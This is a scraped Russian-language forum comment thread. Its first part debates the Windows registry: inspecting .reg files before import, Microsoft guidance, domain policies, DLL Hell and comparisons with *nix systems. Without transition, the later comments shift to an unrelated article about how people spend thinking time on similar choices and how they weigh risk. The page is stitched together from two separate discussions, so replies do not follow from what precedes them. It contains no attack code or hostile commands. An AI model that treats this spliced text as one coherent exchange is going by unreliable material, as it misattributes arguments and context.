Я давно уже взял за правило: прежде чем .reg запускать на добавление - открывать его редактором и одним глазом проглядывать. А то мало ли что в
крякнутые программысвободно распространяемое ПО насуют...
toxicdream
08.09.2022 13:54+3Тезисы и выводы в статье притянуты за уши.
Майки давно рекомендуют не хранить в реестре ничего из локальных настроек.
Реестр решает несколько другие проблемы.
Грубо говоря с помощью реестра Windows знает где и какие программы лежат, что они умеют, какие файлы могут обработать, и как могут взаимодействовать между собой.
Ну и плюс свои настройки там хранит - позволяет управлять ими через доменные политики.
Есть куча статьей, гайдлайнов и бестпрактис как, где, что может и должна делать программа написанная под винду.
Другое дело что "программист не читатель, программист писатель" - все ложат большой и толстый на документацию и делают как захочется левой пятке менеджера после дождика в четверг.
Пожалуй единственный способ надавить на программистов - это сертификация. Но если слишком закрутить гайки, на нее все дружно забьют. Поэтому даже сертификация очень лайтовая. Собственно можете сами почитать. Там реестр почти не упоминается. Только секция автозапуска. Потому все разрабы и чудят с реестром как хотят.
Kneqj
08.09.2022 13:58Мне нравится реестр тем, что почти вся винда настраивается одним кликом и перезагрузкой.
Всё.
Притом, некоторые конфиги кочуют еще с XP (Да здравствует win совместимость)
К слову, это касается и любой проги, пишущей конфиги в реестр.
Wesha
08.09.2022 20:57Чего у винды не отнять — это того, что практически всё в ней можно сэмулировать. Пишет программа себе спокойно так в реестр и не знает, что в системе тихо жужжит мумулятор, и на деле всё пишется в ini-файлы.
arheops
09.09.2022 00:59Когда возникает вопрос «почему возник реестр» надо вспоминать не об ваших попытках ручками что-то там поправить, а о доменной системе с тонкими клиентами и тысячами машин, с загрузкой конфигурации(реестра) по сети, со сменой пользователя на компьютере и работой посменно(компьютеры — дороже зарплаты пользователей). Собственно именно эту задачу надо было решить и реестр ее вполне решает.
А миллиарды пользователей — каждый бог на своей машине — тогда даже не подразумевалися еще.
Admz
09.09.2022 14:21Странный автор. Пользоваться реестром толком не научился, психанул и вылил всё на бумагу, отсылая к *nix системам пытаясь совместить несовместимое.
Реестр windows отличнейшее решение. Да, не без минусов, но уж получше бардака в *nix системах. Изврат, вроде докеров и кубернетес (которые работают на 30 % менее производительнее чем могли бы при прямой работе с железом), мог родится только на никсах, так как бардачный бардак под названием "зависимости" - это ад для любого разработчика.
Реестр - упорядоченный хаос, у которого есть хорошая документация. На *nix системах никогда не будет чего-то подобного, а уж про документацию я вообще умолчу. Если коммерческие системы обязаны предоставлять документацию, то написание документации на свободное ПО - это лишь каприз разработчика, захочет - напишет, не захочет - его никто не сможет обязать.
mvv-rus
09.09.2022 16:15+1Да, не без минусов, но уж получше бардака в *nix системах.
К сожалению, бардак есть везде. В частности, в конце 90-х про Windows было популярно выражение «DLL Hell» — связанное с тем что программам часто требовались свои версии DLL, которые нерадивые разработчики, не мало не беспокоясь о других, ставили в системные папки, перезаписывали существующие версиии и т.д.
Вообще-то для Windows изначально существовали правила, как нужно обращаться с такими общими DLL — но далеко не все разработчики им следовали. А так как это были независимые фирмы и фирмочки, то у MS было крайне мало возможностей призвать их к порядку.
GritsanY
Странный вывод. Как из этого
вы получили это?
Чаще всего похожие варианты не одинаковые, а именно, что отличаются нюансами, которые как раз и важно учесть. А если что-то очевидно, почему это большое и важное решение?
Survtur
[del]
WASD1
Попробую побыть адвокатом дьявола (как я эту неудачную фразу понял):
Рационально тратить на обдумывание время пропорционально риску = "вероятность ошибки" * "тяжесть последствий".
Исследование показало, что люди тратят время пропорционально только 1-му компоненту.
А что происходит для "двух похожих реализаций" первый компонент растёт, а второй снижается (в среднем) - это значит, что в такой ситуации время на обдумывание распределено нерационально.
arheops
Так может начать с того, что 99.9% никогда не училися оценивать риски и, соответвенно, их не оценивают вообще?
Тоесть «вероятность ошибки» для них китайская грамота. Да блин, даже большинство закончивших мат.факультет не оценивают.
WASD1
Так вроде всё правильно написано же в исходной статье (за исключением корявости формулировок). Человек не является рациональным агентом, и у него в мозгу эволюцией заложено множестов особенностей поведения (кому "баг" кому "фича").